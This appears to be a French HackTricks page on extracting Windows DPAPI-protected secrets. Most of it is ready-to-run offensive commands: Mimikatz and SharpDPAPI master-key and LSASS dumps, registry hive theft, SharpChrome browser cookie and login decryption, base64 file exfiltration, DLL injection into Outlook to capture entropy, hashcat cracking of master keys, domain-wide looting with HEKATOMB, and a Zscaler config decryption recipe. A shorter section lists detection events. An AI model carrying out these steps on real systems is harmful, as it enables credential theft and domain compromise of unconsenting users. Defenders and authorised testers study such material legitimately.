DPAPI - Extraction des mots de passe

Reading time: 22 minutes

tip

Apprenez et pratiquez le hacking AWS :HackTricks Training AWS Red Team Expert (ARTE)
Apprenez et pratiquez le hacking GCP : HackTricks Training GCP Red Team Expert (GRTE) Apprenez et pratiquez le hacking Azure : HackTricks Training Azure Red Team Expert (AzRTE)

Soutenir HackTricks

Qu'est-ce que DPAPI

The Data Protection API (DPAPI) est principalement utilisĂ© dans le systĂšme d'exploitation Windows pour le chiffrement symĂ©trique de clĂ©s privĂ©es asymĂ©triques, en s'appuyant soit sur des secrets utilisateur soit sur des secrets systĂšme comme source importante d'entropie. Cette approche simplifie le chiffrement pour les dĂ©veloppeurs en leur permettant de chiffrer des donnĂ©es Ă  l'aide d'une clĂ© dĂ©rivĂ©e des secrets de connexion de l'utilisateur ou, pour le chiffrement systĂšme, des secrets d'authentification du domaine, Ă©vitant ainsi aux dĂ©veloppeurs de devoir gĂ©rer la protection de la clĂ© de chiffrement eux-mĂȘmes.

La maniĂšre la plus courante d'utiliser DPAPI est via les fonctions CryptProtectData et CryptUnprotectData, qui permettent aux applications de chiffrer et dĂ©chiffrer des donnĂ©es de maniĂšre sĂ©curisĂ©e avec la session du processus actuellement connectĂ©. Cela signifie que les donnĂ©es chiffrĂ©es ne peuvent ĂȘtre dĂ©chiffrĂ©es que par le mĂȘme utilisateur ou systĂšme qui les a chiffrĂ©es.

De plus, ces fonctions acceptent aussi un entropy parameter qui sera Ă©galement utilisĂ© lors du chiffrement et du dĂ©chiffrement ; par consĂ©quent, pour dĂ©chiffrer quelque chose chiffrĂ© en utilisant ce paramĂštre, vous devez fournir la mĂȘme valeur d'entropie qui a Ă©tĂ© utilisĂ©e lors du chiffrement.

Génération de la clé utilisateur

The DPAPI génÚre une clé unique (appelée pre-key) pour chaque utilisateur basée sur ses identifiants. Cette clé est dérivée du mot de passe de l'utilisateur et d'autres facteurs ; l'algorithme dépend du type d'utilisateur mais se termine par un SHA1. Par exemple, pour les utilisateurs de domaine, cela dépend du NTLM hash de l'utilisateur.

Ceci est particuliÚrement intéressant car si un attaquant peut obtenir le hash du mot de passe de l'utilisateur, il peut :

  • Decrypt any data that was encrypted using DPAPI avec la clĂ© de cet utilisateur sans avoir besoin de contacter une API
  • Essayer de crack the password hors ligne en tentant de gĂ©nĂ©rer la clĂ© DPAPI valide

De plus, chaque fois que des données sont chiffrées par un utilisateur en utilisant DPAPI, une nouvelle master key est générée. Cette master key est celle réellement utilisée pour chiffrer les données. Chaque master key reçoit un GUID (Globally Unique Identifier) qui l'identifie.

Les master keys sont stockĂ©es dans le rĂ©pertoire %APPDATA%\Microsoft\Protect\<sid>\<guid>, oĂč {SID} est le Security Identifier de cet utilisateur. La master key est stockĂ©e chiffrĂ©e par la pre-key de l'utilisateur et aussi par une domain backup key pour la rĂ©cupĂ©ration (donc la mĂȘme clĂ© est stockĂ©e chiffrĂ©e 2 fois avec deux clĂ©s diffĂ©rentes).

Notez que la domain key utilisée pour chiffrer la master key se trouve dans les domain controllers et ne change jamais, donc si un attaquant a accÚs au domain controller, il peut récupérer la domain backup key et déchiffrer les master keys de tous les utilisateurs du domaine.

Les blobs chiffrĂ©s contiennent le GUID de la master key qui a Ă©tĂ© utilisĂ©e pour chiffrer les donnĂ©es dans leurs en-tĂȘtes.

tip

Les blobs chiffrés DPAPI commencent par 01 00 00 00

Find master keys:

bash
Get-ChildItem C:\Users\USER\AppData\Roaming\Microsoft\Protect\
Get-ChildItem C:\Users\USER\AppData\Local\Microsoft\Protect
Get-ChildItem -Hidden C:\Users\USER\AppData\Roaming\Microsoft\Protect\
Get-ChildItem -Hidden C:\Users\USER\AppData\Local\Microsoft\Protect\
Get-ChildItem -Hidden C:\Users\USER\AppData\Roaming\Microsoft\Protect\{SID}
Get-ChildItem -Hidden C:\Users\USER\AppData\Local\Microsoft\Protect\{SID}

This is what a bunch of Master Keys of a user will looks like:

Génération de la clé Machine/SystÚme

C'est la clĂ© utilisĂ©e par la machine pour chiffrer des donnĂ©es. Elle est basĂ©e sur le DPAPI_SYSTEM LSA secret, qui est une clĂ© spĂ©ciale accessible uniquement par l'utilisateur SYSTEM. Cette clĂ© est utilisĂ©e pour chiffrer des donnĂ©es devant ĂȘtre accessibles par le systĂšme lui-mĂȘme, comme des identifiants au niveau machine ou des secrets systĂšme.

Notez que ces clés n'ont pas de sauvegarde de domaine, elles sont donc accessibles uniquement localement :

  • Mimikatz peut y accĂ©der en extrayant les LSA secrets avec la commande : mimikatz lsadump::secrets
  • Le secret est stockĂ© dans le registre, donc un administrateur pourrait modifier les permissions DACL pour y accĂ©der. Le chemin du registre est : HKEY_LOCAL_MACHINE\SECURITY\Policy\Secrets\DPAPI_SYSTEM
  • L'extraction hors-ligne des hives du registre est Ă©galement possible. Par exemple, en tant qu'administrateur sur la cible, sauvegardez les hives et exfiltrez-les :
cmd
reg save HKLM\SYSTEM C:\Windows\Temp\system.hiv
reg save HKLM\SECURITY C:\Windows\Temp\security.hiv

Ensuite, sur votre machine d'analyse, rĂ©cupĂ©rez le DPAPI_SYSTEM LSA secret depuis les hives et utilisez-le pour dĂ©chiffrer les blobs Ă  l'Ă©chelle machine (mots de passe des tĂąches planifiĂ©es, identifiants de service, profils Wi‑Fi, etc.) :

text
mimikatz lsadump::secrets /system:C:\path\system.hiv /security:C:\path\security.hiv
# Look for the DPAPI_SYSTEM secret in the output

Données protégées par DPAPI

Parmi les données personnelles protégées par DPAPI, on trouve :

  • Windows creds
  • les mots de passe d'Internet Explorer et de Google Chrome et les donnĂ©es d'auto-complĂ©tion
  • les mots de passe d'e-mail et des comptes FTP internes pour des applications comme Outlook et Windows Mail
  • mots de passe pour les dossiers partagĂ©s, les ressources, les rĂ©seaux sans fil, et Windows Vault, y compris les clĂ©s de chiffrement
  • mots de passe pour les connexions Remote Desktop, .NET Passport, et clĂ©s privĂ©es pour divers usages de chiffrement et d'authentification
  • mots de passe rĂ©seau gĂ©rĂ©s par Credential Manager et donnĂ©es personnelles dans des applications utilisant CryptProtectData, comme Skype, MSN messenger, et plus
  • blobs chiffrĂ©s dans le registre
  • ...

Les données protégées au niveau systÚme comprennent :

  • mots de passe Wifi
  • mots de passe des tĂąches planifiĂ©es
  • ...

Options d'extraction de la master key

  • Si l'utilisateur a les privilĂšges domain admin, il peut accĂ©der Ă  la domain backup key pour dĂ©chiffrer toutes les master keys des utilisateurs du domaine :
bash
# Mimikatz
lsadump::backupkeys /system:<DOMAIN CONTROLLER> /export

# SharpDPAPI
SharpDPAPI.exe backupkey [/server:SERVER.domain] [/file:key.pvk]
  • Avec des privilĂšges d'administrateur local, il est possible d'accĂ©der Ă  la mĂ©moire LSASS pour extraire les clĂ©s maĂźtresses DPAPI de tous les utilisateurs connectĂ©s et la clĂ© SYSTEM.
bash
# Mimikatz
mimikatz sekurlsa::dpapi
  • Si l'utilisateur dispose de privilĂšges d'administrateur local, il peut accĂ©der au DPAPI_SYSTEM LSA secret pour dĂ©chiffrer les clĂ©s maĂźtresses de la machine :
bash
# Mimikatz
lsadump::secrets /system:DPAPI_SYSTEM /export
  • Si le mot de passe ou le hash NTLM de l'utilisateur est connu, vous pouvez dĂ©crypter directement les master keys de l'utilisateur :
bash
# Mimikatz
dpapi::masterkey /in:<C:\PATH\MASTERKEY_LOCATON> /sid:<USER_SID> /password:<USER_PLAINTEXT> /protected

# SharpDPAPI
SharpDPAPI.exe masterkeys /password:PASSWORD
  • Si vous ĂȘtes dans une session en tant qu'utilisateur, il est possible de demander au DC la clĂ© de sauvegarde pour dĂ©chiffrer les master keys via RPC. Si vous ĂȘtes administrateur local et que l'utilisateur est connectĂ©, vous pourriez voler son session token pour cela :
bash
# Mimikatz
dpapi::masterkey /in:"C:\Users\USER\AppData\Roaming\Microsoft\Protect\SID\GUID" /rpc

# SharpDPAPI
SharpDPAPI.exe masterkeys /rpc

Lister Vault

bash
# From cmd
vaultcmd /listcreds:"Windows Credentials" /all

# From mimikatz
mimikatz vault::list

Accéder aux données chiffrées DPAPI

Trouver des données chiffrées DPAPI

Les fichiers utilisateur couramment protégés se trouvent dans :

  • C:\Users\username\AppData\Roaming\Microsoft\Protect\*
  • C:\Users\username\AppData\Roaming\Microsoft\Credentials\*
  • C:\Users\username\AppData\Roaming\Microsoft\Vault\*
  • Pensez aussi Ă  remplacer \Roaming\ par \Local\ dans les chemins ci-dessus.

Exemples d'énumération :

bash
dir /a:h C:\Users\username\AppData\Local\Microsoft\Credentials\
dir /a:h C:\Users\username\AppData\Roaming\Microsoft\Credentials\
Get-ChildItem -Hidden C:\Users\username\AppData\Local\Microsoft\Credentials\
Get-ChildItem -Hidden C:\Users\username\AppData\Roaming\Microsoft\Credentials\

SharpDPAPI peut trouver des blobs chiffrés DPAPI dans le systÚme de fichiers, le registre et des blobs B64 :

bash
# Search blobs in the registry
search /type:registry [/path:HKLM] # Search complete registry by default

# Search blobs in folders
search /type:folder /path:C:\path\to\folder
search /type:folder /path:C:\Users\username\AppData\

# Search a blob inside a file
search /type:file /path:C:\path\to\file

# Search a blob inside B64 encoded data
search /type:base64 [/base:<base64 string>]

Notez que SharpChrome (du mĂȘme repo) peut ĂȘtre utilisĂ© pour dĂ©chiffrer, via DPAPI, des donnĂ©es sensibles comme les cookies.

Chromium/Edge/Electron recettes rapides (SharpChrome)

  • Utilisateur actuel, dĂ©cryptage interactif des identifiants/cookies enregistrĂ©s (fonctionne mĂȘme avec les cookies app-bound de Chrome 127+ car la clĂ© supplĂ©mentaire est rĂ©solue Ă  partir du Credential Manager de l’utilisateur lorsqu'il est exĂ©cutĂ© dans le contexte de l'utilisateur) :
cmd
SharpChrome logins  /browser:edge  /unprotect
SharpChrome cookies /browser:chrome /format:csv /unprotect
  • Analyse hors ligne lorsque vous n'avez que des fichiers. Commencez par extraire la clĂ© d'Ă©tat AES du profil "Local State" puis utilisez-la pour dĂ©crypter la cookie DB:
cmd
# Dump the AES state key from Local State (DPAPI will be used if running as the user)
SharpChrome statekeys /target:"C:\Users\bob\AppData\Local\Google\Chrome\User Data\Local State" /unprotect
# Copy the hex state key value (e.g., "48F5...AB") and pass it to cookies
SharpChrome cookies /target:"C:\Users\bob\AppData\Local\Google\Chrome\User Data\Default\Cookies" /statekey:48F5...AB /format:json
  • Triage Ă  l'Ă©chelle du domaine/Ă  distance lorsque vous avez la DPAPI domain backup key (PVK) et admin sur l'hĂŽte cible :
cmd
SharpChrome cookies /server:HOST01 /browser:edge /pvk:BASE64
SharpChrome logins  /server:HOST01 /browser:chrome /pvk:key.pvk
  • Si vous avez la DPAPI prekey/credkey d’un utilisateur (depuis LSASS), vous pouvez ignorer password cracking et dĂ©chiffrer directement les donnĂ©es de profil :
cmd
# For SharpChrome use /prekey; for SharpDPAPI use /credkey
SharpChrome cookies /browser:edge /prekey:SHA1_HEX
SharpDPAPI.exe credentials /credkey:SHA1_HEX

Remarques

  • Les versions rĂ©centes de Chrome/Edge peuvent stocker certains cookies en utilisant le chiffrement "App-Bound". Offline decryption de ces cookies spĂ©cifiques n'est pas possible sans la clĂ© app-bound supplĂ©mentaire ; exĂ©cutez SharpChrome dans le contexte de l'utilisateur cible pour la rĂ©cupĂ©rer automatiquement. Voir le Chrome security blog post rĂ©fĂ©rencĂ© ci-dessous.

AccÚs aux clés et données

  • Use SharpDPAPI pour obtenir des credentials depuis des fichiers DPAPI encrypted de la session actuelle :
bash
# Decrypt user data
## Note that 'triage' is like running credentials, vaults, rdg and certificates
SharpDPAPI.exe [credentials|vaults|rdg|keepass|certificates|triage] /unprotect

# Decrypt machine data
SharpDPAPI.exe machinetriage
  • Obtenir les informations de credentials comme les donnĂ©es chiffrĂ©es et le guidMasterKey.
bash
mimikatz dpapi::cred /in:C:\Users\<username>\AppData\Local\Microsoft\Credentials\28350839752B38B238E5D56FDD7891A7

[...]
guidMasterKey      : {3e90dd9e-f901-40a1-b691-84d7f647b8fe}
[...]
pbData             : b8f619[...snip...]b493fe
[..]
  • AccĂ©der aux masterkeys:

Décrypter le masterkey d'un utilisateur demandant la domain backup key en utilisant RPC:

bash
# Mimikatz
dpapi::masterkey /in:"C:\Users\USER\AppData\Roaming\Microsoft\Protect\SID\GUID" /rpc

# SharpDPAPI
SharpDPAPI.exe masterkeys /rpc

L'outil SharpDPAPI prend également en charge ces arguments pour le déchiffrement du masterkey (remarquez qu'il est possible d'utiliser /rpc pour obtenir la clé de sauvegarde du domaine, /password pour utiliser un mot de passe en clair, ou /pvk pour spécifier un fichier de clé privée DPAPI du domaine...) :

/target:FILE/folder     -   triage a specific masterkey, or a folder full of masterkeys (otherwise triage local masterkeys)
/pvk:BASE64...          -   use a base64'ed DPAPI domain private key file to first decrypt reachable user masterkeys
/pvk:key.pvk            -   use a DPAPI domain private key file to first decrypt reachable user masterkeys
/password:X             -   decrypt the target user's masterkeys using a plaintext password (works remotely)
/ntlm:X                 -   decrypt the target user's masterkeys using a NTLM hash (works remotely)
/credkey:X              -   decrypt the target user's masterkeys using a DPAPI credkey (domain or local SHA1, works remotely)
/rpc                    -   decrypt the target user's masterkeys by asking domain controller to do so
/server:SERVER          -   triage a remote server, assuming admin access
/hashes                 -   output usermasterkey file 'hashes' in JTR/Hashcat format (no decryption)
  • DĂ©chiffrer des donnĂ©es en utilisant une masterkey:
bash
# Mimikatz
dpapi::cred /in:C:\path\to\encrypted\file /masterkey:<MASTERKEY>

# SharpDPAPI
SharpDPAPI.exe /target:<FILE/folder> /ntlm:<NTLM_HASH>

L'outil SharpDPAPI prend également en charge ces arguments pour le déchiffrement de credentials|vaults|rdg|keepass|triage|blob|ps (notez qu'il est possible d'utiliser /rpc pour obtenir la clé de sauvegarde du domaine, /password pour utiliser un mot de passe en clair, /pvk pour spécifier un fichier de clé privée de domaine DPAPI, /unprotect pour utiliser la session de l'utilisateur courant...):

Decryption:
/unprotect          -   force use of CryptUnprotectData() for 'ps', 'rdg', or 'blob' commands
/pvk:BASE64...      -   use a base64'ed DPAPI domain private key file to first decrypt reachable user masterkeys
/pvk:key.pvk        -   use a DPAPI domain private key file to first decrypt reachable user masterkeys
/password:X         -   decrypt the target user's masterkeys using a plaintext password (works remotely)
/ntlm:X             -   decrypt the target user's masterkeys using a NTLM hash (works remotely)
/credkey:X          -   decrypt the target user's masterkeys using a DPAPI credkey (domain or local SHA1, works remotely)
/rpc                -   decrypt the target user's masterkeys by asking domain controller to do so
GUID1:SHA1 ...      -   use a one or more GUID:SHA1 masterkeys for decryption
/mkfile:FILE        -   use a file of one or more GUID:SHA1 masterkeys for decryption

Targeting:
/target:FILE/folder -   triage a specific 'Credentials','.rdg|RDCMan.settings', 'blob', or 'ps' file location, or 'Vault' folder
/server:SERVER      -   triage a remote server, assuming admin access
Note: must use with /pvk:KEY or /password:X
Note: not applicable to 'blob' or 'ps' commands
  • Utiliser une DPAPI prekey/credkey directement (aucun password nĂ©cessaire)

Si vous pouvez dumper LSASS, Mimikatz expose souvent une DPAPI key par connexion (per-logon) qui peut ĂȘtre utilisĂ©e pour dĂ©chiffrer les masterkeys de l'utilisateur sans connaĂźtre le plaintext password. Transmettez cette valeur directement au tooling :

cmd
# SharpDPAPI accepts the "credkey" (domain or local SHA1)
SharpDPAPI.exe triage /credkey:SHA1_HEX

# SharpChrome accepts the same value as a "prekey"
SharpChrome logins /browser:edge /prekey:SHA1_HEX
  • DĂ©chiffrer des donnĂ©es en utilisant la session utilisateur actuelle:
bash
# Mimikatz
dpapi::blob /in:C:\path\to\encrypted\file /unprotect

# SharpDPAPI
SharpDPAPI.exe blob /target:C:\path\to\encrypted\file /unprotect

Déchiffrement hors ligne avec Impacket dpapi.py

Si vous avez le SID et le mot de passe (ou le NT hash) de l’utilisateur victime, vous pouvez dĂ©chiffrer les DPAPI masterkeys et les Credential Manager blobs entiĂšrement hors ligne en utilisant Impacket’s dpapi.py.

  • Identifier les artefacts sur le disque:

  • Credential Manager blob(s): %APPDATA%\Microsoft\Credentials<hex>

  • Matching masterkey: %APPDATA%\Microsoft\Protect<SID>{GUID}

  • Si l’outil de transfert de fichiers est instable, encodez les fichiers en base64 sur l’hĂŽte et copiez la sortie:

powershell
# Base64-encode files for copy/paste exfil
[Convert]::ToBase64String([IO.File]::ReadAllBytes("$env:APPDATA\Microsoft\Credentials\C8D69E...B9"))
[Convert]::ToBase64String([IO.File]::ReadAllBytes("$env:APPDATA\Microsoft\Protect\<SID>\556a2412-1275-4ccf-b721-e6a0b4f90407"))
  • DĂ©crypter la masterkey avec le SID de l'utilisateur et le password/hash :
bash
# Plaintext password
python3 dpapi.py masterkey -file 556a2412-1275-4ccf-b721-e6a0b4f90407 \
-sid S-1-5-21-1111-2222-3333-1107 -password 'UserPassword!'

# Or with NT hash
python3 dpapi.py masterkey -file 556a2412-1275-4ccf-b721-e6a0b4f90407 \
-sid S-1-5-21-1111-2222-3333-1107 -key 0x<NTLM_HEX>
  • Utilisez la masterkey dĂ©chiffrĂ©e pour dĂ©chiffrer le credential blob:
bash
python3 dpapi.py credential -file C8D69EBE9A43E9DEBF6B5FBD48B521B9 -key 0x<MASTERKEY_HEX>
# Expect output like: Type=CRED_TYPE_DOMAIN_PASSWORD; Target=Domain:target=DOMAIN
# Username=<user> ; Password=<cleartext>

Ce workflow récupÚre souvent des identifiants de domaine enregistrés par des applications utilisant le Windows Credential Manager, y compris des comptes administratifs (par ex., *_adm).


Gestion de l'entropie optionnelle ("Third-party entropy")

Certaines applications passent une valeur supplĂ©mentaire d'entropie Ă  CryptProtectData. Sans cette valeur, le blob ne peut pas ĂȘtre dĂ©chiffrĂ©, mĂȘme si le masterkey correct est connu. Obtenir l'entropie est donc essentiel lorsqu'on cible des identifiants protĂ©gĂ©s de cette maniĂšre (par ex. Microsoft Outlook, certains clients VPN).

EntropyCapture (2022) est une DLL en mode utilisateur qui intercepte les fonctions DPAPI dans le processus ciblĂ© et enregistre de maniĂšre transparente toute entropie optionnelle fournie. L'exĂ©cution d'EntropyCapture en mode DLL-injection contre des processus comme outlook.exe ou vpnclient.exe produira un fichier associant chaque buffer d'entropie au processus appelant et au blob. L'entropie capturĂ©e peut ensuite ĂȘtre fournie Ă  SharpDPAPI (/entropy:) ou Mimikatz (/entropy:<file>) afin de dĂ©chiffrer les donnĂ©es.

powershell
# Inject EntropyCapture into the current user's Outlook
InjectDLL.exe -pid (Get-Process outlook).Id -dll EntropyCapture.dll

# Later decrypt a credential blob that required entropy
SharpDPAPI.exe blob /target:secret.cred /entropy:entropy.bin /ntlm:<hash>

Craquage des masterkeys hors ligne (Hashcat & DPAPISnoop)

Microsoft a introduit un format de masterkey context 3 à partir de Windows 10 v1607 (2016). hashcat v6.2.6 (December 2023) a ajouté les hash-modes 22100 (DPAPI masterkey v1 context ), 22101 (context 1) et 22102 (context 3), permettant le craquage accéléré par GPU des mots de passe utilisateur directement à partir du fichier masterkey. Les attaquants peuvent donc effectuer des word-list ou brute-force sans interagir avec le systÚme cible.

DPAPISnoop (2024) automatise le processus:

bash
# Parse a whole Protect folder, generate hashcat format and crack
DPAPISnoop.exe masterkey-parse C:\Users\bob\AppData\Roaming\Microsoft\Protect\<sid> --mode hashcat --outfile bob.hc
hashcat -m 22102 bob.hc wordlist.txt -O -w4

L'outil peut également analyser les blobs Credential et Vault, les déchiffrer avec des clés craquées et exporter les mots de passe en clair.

Accéder aux données d'une autre machine

Dans SharpDPAPI and SharpChrome vous pouvez indiquer l'option /server:HOST pour accĂ©der aux donnĂ©es d'une machine distante. Bien sĂ»r vous devez ĂȘtre en mesure d'accĂ©der Ă  cette machine et dans l'exemple suivant il est supposĂ© que la clĂ© de chiffrement de sauvegarde du domaine est connue:

bash
SharpDPAPI.exe triage /server:HOST /pvk:BASE64
SharpChrome cookies /server:HOST /pvk:BASE64

Autres outils

HEKATOMB

HEKATOMB est un outil qui automatise l'extraction de tous les utilisateurs et ordinateurs depuis l'annuaire LDAP et l'extraction de la domain controller backup key via RPC. Le script résoudra ensuite toutes les adresses IP des ordinateurs et effectuera un smbclient sur tous les ordinateurs pour récupérer tous les blobs DPAPI de tous les utilisateurs et tout déchiffrer avec la domain backup key.

python3 hekatomb.py -hashes :ed0052e5a66b1c8e942cc9481a50d56 DOMAIN.local/administrator@10.0.0.1 -debug -dnstcp

Avec la liste d'ordinateurs extraite de LDAP vous pouvez trouver chaque sous-rĂ©seau mĂȘme si vous ne les connaissiez pas !

DonPAPI 2.x (2024-05)

DonPAPI peut dumper automatiquement les secrets protégés par DPAPI. La release 2.x a introduit :

  • Collecte parallĂšle de blobs depuis des centaines d'hĂŽtes
  • Parsing des masterkeys context 3 et intĂ©gration automatique du cracking avec Hashcat
  • Support des cookies chiffrĂ©s Chrome "App-Bound" (voir la section suivante)
  • Un nouveau mode --snapshot pour interroger rĂ©pĂ©titivement les endpoints et comparer (diff) les blobs nouvellement créés

DPAPISnoop

DPAPISnoop est un parser en C# pour fichiers masterkey/credential/vault qui peut produire des formats Hashcat/JtR et éventuellement lancer le cracking automatiquement. Il supporte pleinement les formats de masterkey machine et utilisateur jusqu'à Windows 11 24H1.

Détections courantes

  • AccĂšs aux fichiers dans C:\Users\*\AppData\Roaming\Microsoft\Protect\*, C:\Users\*\AppData\Roaming\Microsoft\Credentials\* et autres rĂ©pertoires liĂ©s Ă  DPAPI.
  • ParticuliĂšrement depuis un partage rĂ©seau comme C$ ou ADMIN$.
  • Utilisation de Mimikatz, SharpDPAPI ou d'outils similaires pour accĂ©der Ă  la mĂ©moire LSASS ou dumper des masterkeys.
  • ÉvĂ©nement 4662 : An operation was performed on an object – peut ĂȘtre corrĂ©lĂ© avec l'accĂšs Ă  l'objet BCKUPKEY.
  • ÉvĂ©nement 4673/4674 lorsqu'un processus demande SeTrustedCredManAccessPrivilege (Credential Manager)

Vulnérabilités & changements de l'écosystÚme 2023-2025

  • CVE-2023-36004 – Windows DPAPI Secure Channel Spoofing (novembre 2023). Un attaquant avec accĂšs rĂ©seau pouvait tromper un membre de domaine pour qu'il rĂ©cupĂšre une DPAPI backup key malveillante, permettant le dĂ©chiffrement des masterkeys utilisateur. CorrigĂ© dans le cumulative update de novembre 2023 – les administrateurs doivent s'assurer que les DCs et postes de travail sont entiĂšrement patchĂ©s.
  • Chrome 127 “App-Bound” cookie encryption (juillet 2024) a remplacĂ© la protection hĂ©ritĂ©e uniquement DPAPI par une clĂ© additionnelle stockĂ©e dans le Credential Manager de l'utilisateur. Le dĂ©chiffrement hors-ligne des cookies requiert dĂ©sormais Ă  la fois le DPAPI masterkey et la GCM-wrapped app-bound key. SharpChrome v2.3 et DonPAPI 2.x sont capables de rĂ©cupĂ©rer la clĂ© supplĂ©mentaire lorsqu'ils s'exĂ©cutent dans le contexte utilisateur.

Étude de cas : Zscaler Client Connector – Entropie personnalisĂ©e dĂ©rivĂ©e du SID

Zscaler Client Connector stocke plusieurs fichiers de configuration sous C:\ProgramData\Zscaler (par ex. config.dat, users.dat, *.ztc, *.mtt, *.mtc, *.mtp). Chaque fichier est chiffrĂ© avec DPAPI (Machine scope) mais le fournisseur fournit une entropie personnalisĂ©e qui est calculĂ©e Ă  l'exĂ©cution au lieu d'ĂȘtre stockĂ©e sur le disque.

L'entropie est reconstruite à partir de deux éléments :

  1. Un secret codé en dur intégré dans ZSACredentialProvider.dll.
  2. Le SID du compte Windows auquel appartient la configuration.

L'algorithme implémenté par la DLL est équivalent à :

csharp
byte[] secret = Encoding.UTF8.GetBytes(HARDCODED_SECRET);
byte[] sid    = Encoding.UTF8.GetBytes(CurrentUserSID);

// XOR the two buffers byte-by-byte
byte[] tmp = new byte[secret.Length];
for (int i = 0; i < secret.Length; i++)
tmp[i] = (byte)(sid[i] ^ secret[i]);

// Split in half and XOR both halves together to create the final entropy buffer
byte[] entropy = new byte[tmp.Length / 2];
for (int i = 0; i < entropy.Length; i++)
entropy[i] = (byte)(tmp[i] ^ tmp[i + entropy.Length]);

Parce que le secret est intĂ©grĂ© dans une DLL qui peut ĂȘtre lue depuis le disque, tout attaquant local disposant des droits SYSTEM peut rĂ©gĂ©nĂ©rer l'entropie pour n'importe quel SID et dĂ©crypter les blobs hors ligne :

csharp
byte[] blob = File.ReadAllBytes(@"C:\ProgramData\Zscaler\<SID>++config.dat");
byte[] clear = ProtectedData.Unprotect(blob, RebuildEntropy(secret, sid), DataProtectionScope.LocalMachine);
Console.WriteLine(Encoding.UTF8.GetString(clear));

Le dĂ©chiffrement rĂ©vĂšle la configuration JSON complĂšte, incluant chaque contrĂŽle de posture de l'appareil et sa valeur attendue – des informations trĂšs prĂ©cieuses lors de tentatives de contournement cĂŽtĂ© client.

ASTUCE : les autres artefacts chiffrĂ©s (*.mtt, *.mtp, *.mtc, *.ztc) sont protĂ©gĂ©s avec DPAPI sans entropie (16 octets nuls). Ils peuvent donc ĂȘtre dĂ©chiffrĂ©s directement avec ProtectedData.Unprotect une fois les privilĂšges SYSTEM obtenus.

Références

tip

Apprenez et pratiquez le hacking AWS :HackTricks Training AWS Red Team Expert (ARTE)
Apprenez et pratiquez le hacking GCP : HackTricks Training GCP Red Team Expert (GRTE) Apprenez et pratiquez le hacking Azure : HackTricks Training Azure Red Team Expert (AzRTE)

Soutenir HackTricks